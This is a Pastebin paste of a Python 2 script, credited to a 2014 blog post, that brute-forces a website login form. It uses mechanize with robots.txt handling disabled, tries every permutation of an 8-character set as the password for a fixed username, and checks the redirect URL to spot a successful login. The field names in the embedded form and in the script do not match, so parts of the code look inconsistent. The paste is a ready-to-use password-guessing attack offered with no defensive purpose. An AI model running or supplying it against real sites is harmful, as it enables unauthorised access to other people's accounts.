Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- https://coderinaero.wordpress.com/2014/12/08/brute-force-a-website-login-in-python/
- #!/usr/bin/python
- import mechanize
- import itertools
- br = mechanize.Browser()
- br.set_handle_equiv(True)
- br.set_handle_redirect(True)
- br.set_handle_referer(True)
- br.set_handle_robots(False)
- combos=itertools.permutations("i34U^hP-",8)
- r =br.open("https://www.example.com/login/")
- for x in combos:
- new_form = '''
- <form method="post" action="index.php">
- <b>Enter the username :</b><input type="text" name="rollno" size="16" maxlength="8">
- <b>Enter the password:</b><input type="password" name="pwd" size="16">
- <input type="submit" name="submit" value="Submit">
- </form>
- '''
- #all you have to take care is they have the same name for input fields and submit button
- r.set_data(new_form)
- br.set_response(r)
- br.select_form( nr = 0 )
- br.form['userName'] = "user name"
- br.form['password'] = ''.join(x)
- print "Checking ",br.form['password']
- response=br.submit()
- if response.geturl()=="http://www.example.com/redirected_to_url":
- #url to which the page is redirected after login
- print "Correct password is ",''.join(x)
- break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement